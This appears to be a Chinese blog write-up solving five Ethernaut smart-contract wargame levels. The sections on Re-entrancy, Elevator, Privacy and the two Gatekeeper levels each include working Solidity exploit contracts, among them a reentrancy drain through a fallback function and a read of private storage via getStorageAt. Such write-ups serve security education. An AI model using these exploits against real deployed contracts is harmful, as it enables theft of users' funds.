首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >智能合约:Ethernaut题解(四)

智能合约:Ethernaut题解(四)

作者头像
yichen
发布2020-05-24 13:49:06
8200
发布2020-05-24 13:49:06
举报

Re-entrancy

目标:拿到合约里面的所有资金

这个题老版本失败!白往里面放了那么多钱!!!

用新版本的成功了

pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
  using SafeMath for uint256;
  mapping(address => uint) public balances;
  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }//捐赠
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }//查看余额
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {//提现金额要大于余额
      (bool result, bytes memory data) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }//提现
      balances[msg.sender] -= _amount;
    }//但是这里是完成交易之后再从账户里面把提现的金额减去
  }
  function() external payable {}
}

因为他是提现完成之后才修改账户余额的,可以使用重入攻击

另外常用转币方式有三种,题目中用了第三种方法

<address>.reansfer() 发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入 <address>.send() 发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入 <address>.gas().call.value()() 当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击

用的是这个脚本:

pragma solidity ^0.6.4;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';
contract Reentrance {
  using SafeMath for uint256;
  mapping(address => uint) public balances;
  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result, bytes memory data) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  fallback() external payable {}
}
contract Reenter {
    Reentrance reentranceContract;
    uint public amount = 1 ether;    //withdrawal amount
    
    constructor(address payable reentranceContactAddress) public payable {
        reentranceContract = Reentrance(reentranceContactAddress);
    }
function initiateAttack() public {
    reentranceContract.donate{value:amount}(address(this));
    //首先,需要捐赠一些钱
    reentranceContract.withdraw(amount);
    //然后调用合约的withdraw函数提现
  }
  fallback() external payable {
    if (address(reentranceContract).balance >= 0 ) {
        reentranceContract.withdraw(amount);
    }//因为我们接受以太币的时候也会调用我们的回退函数
     //而我们的回退函数中又一次调用了题目合约的withdraw函数
   }
}

部署的时候给他 1 ether,然后使用 initiateAttack 就可以啦

执行后

Elevator

目标:成为 top,让变量 top 变为 true

代码:

pragma solidity ^0.4.18;
interface Building {
  function isLastFloor(uint) view public returns (bool);
}//定义了一个接口,这个函数返回你是不是在最顶层
contract Elevator {
  bool public top;//布尔型变量,是否是top,默认false
  uint public floor;//楼层
  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {//如果不是最顶层的话就进入if
      floor = _floor;//拿到你的_floor
      top = building.isLastFloor(floor);//让top等于判断结果,所以还是false
    }//但是如果你是top的话,没有改top的机会,所以还是false
  }
}

题目声明了 Building 接口中的那个 isLastFloor 函数,我们可以自己编写

只要让他反转两次就可以啦

exp:

pragma solidity ^0.4.18;
interface Building {
  function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
  bool public top;
  uint public floor;
  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
contract BuildingEXP{
    Elevator ele;
    bool toop = true;//一开始定义为true
    function isLastFloor(uint) view public returns (bool) {
        toop = !toop;//在if那个地方要为false进入
        //在top那个地方再次反转为false,这样就能保证top一直都是true啦
        return toop;
    }
    function attack(address _addr) public{
        ele = Elevator(_addr);
        ele.goTo(5);
    }
}

部署 hack 合约,然后执行 exploit 函数,就可以了,可以用 flag 查看一下

也可以在控制台查看 await contract.top()

Privacy

目标:解锁需要一个 key,而这个 key 是 data[2] 是 private 的

在区块链上面没有私密的东西,都是公开的,只要找到就能过关

pragma solidity ^0.4.18;
contract Privacy {
  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;
  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
  /*
    A bunch of super advanced solidity algorithms...
      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

evm 每次处理32个字节,不足 32 字节的变量相互共享并补齐 32 字节

那么我们简单分析下题目中的变量:

bool public locked = true; //1 字节 01 uint256 public constant ID = block.timestamp; //32 字节 常量 不写入存储 uint8 private flattening = 10; //1 字节 0a uint8 private denomination = 255;//1 字节 ff uint16 private awkwardness = uint16(now);//2 字节 bytes32[3] private data;

第一个32 字节就是由locked、flattening、denomination、awkwardness组成,另外由于常量 constant 是无需存储的,所以从第二个32 字节开始就是 data。前几个合起来是第一个 32,data[0] 是第二个 32,data[1] 是第三个 32,所以我们的是第四个

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})

这个脸,好诡异

Gatekeeper One

目标:绕过三个 gate 来执行 enter 函数

pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
  using SafeMath for uint256;
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;//可以部署一个中间合约来调用绕过
  }
  modifier gateTwo() {
    require(msg.gas.mod(8191) == 0);
    _;//gas要满足8191取余为0
  }
  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;//这个后文中详细说说
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

调试看看,首先部署一个原来的

然后复制部署的合约地址,部署我们测试的攻击合约(我们要先部署一个可以打通的来绕过第一个关卡,方便调试看看第二个怎么弄)

pragma solidity ^0.4.18;
contract GatekeeperOne {
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }
  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
contract MyAgent {
    GatekeeperOne c;
 
    function MyAgent(address _c) {
        c = GatekeeperOne(_c);
    }
    function exploit() {
        bytes8 _gateKey = bytes8(msg.sender) & 0xffffffff0000ffff;
        c.enter.gas(81910)(_gateKey);
        //c.enter.gas(81910-81697+81910+2)(_gateKey);
        //注释的是正确的,但是先调试看看
    }
}

然后点击 exploit,完成后选择中间窗口的 debug

首先,因为我们是使用另一个合约调用的,所以第一个 gate 是可以绕过的,然后我们来看一下第二个关卡需要多少 gas

接下来的一步需要的 gas 是 2,msg.gas 就是 remaining gas,想要绕过这一关就需要让 remaining gas % 8191 = 0。而在之前我们写入的值是 81910,现在的值是 81697,那么之前总消耗的值就是:81910-81697=213,再走一步再消耗 2,也就是说,如果我们想要让这一步结束之后 remaining gas % 8191 = 0 的话,或者说想要让他执行完之后刚好是 81910 的话,就需要让之前的值为:213+2+81910。所以想要绕过第二个关卡的话,值应该是 213+2+81910

第三个关卡:

modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
}
  • 先看最后一个判断 tx.origin 是最初的调用者,就是我们的账户,uint16 是最后 8 字节,要与 uint32 的 key 也就是最后 16 字节相等,所以 key 的最后 8 字节就是 tx.origin 的最后 8 字节
  • 同时如果第一个条件 uint32 的 key 要与 uint16 的 key 相等,所以 key 的 uint32 类型 16 字节前面的八个字节要全为 0
  • 再看中间那个,key 的后 16 字节还不能和整个 32 字节相等,前面只要不是 0 就不会相等

综上,key 如果是 0xFFFFFFFF0000FFFF & tx.origin 的话就正好可以

Gatekeeper Two

目标与上一关相同

pragma solidity ^0.4.18;
contract GatekeeperTwo {
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    //用内联汇编来获取调用方caller的代码大小
    require(x == 0);
    _;
  }
  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

gate1:还是要建一个合约用来间接调用

gate2:extcodesize 是用来获取指定地址合约代码大小的,这里用内联汇编的方式来获取调用方 caller 的代码大小。一般来说,当 caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0,但是这样就不能满足第一个了。合约在初始化时代码大小为 0。所以我们可以把攻击合约的调用操作写在构造函数中

gate3:传入一个八字节的 key,把 msg.sender 的 hash 计算出来与 uint64 类型的 key 异或,要等与 0-1,也就是 0xFFFFFFFFFFFFFFFF,只要我们先用 uint64(keccak256(msg.sender)) 与 0xFFFFFFFFFFFFFFFF 进行异或,这样再次异或的时候就成了 0xFFFFFFFFFFFFFFFF,也就符合条件了

(优先级为 – 大于 ^ 大于 ==)

exp:

pragma solidity ^0.4.18;
contract GatekeeperTwo {
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }
  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
contract attack{
    function attack(address param){
        GatekeeperTwo a =GatekeeperTwo(param);
        bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this)));
        a.enter(_gateKey);
    }
}

把上面 exp 部署以后就可以达到目的可以提交啦

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Re-entrancy
  • Elevator
  • Privacy
  • Gatekeeper One
  • Gatekeeper Two
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档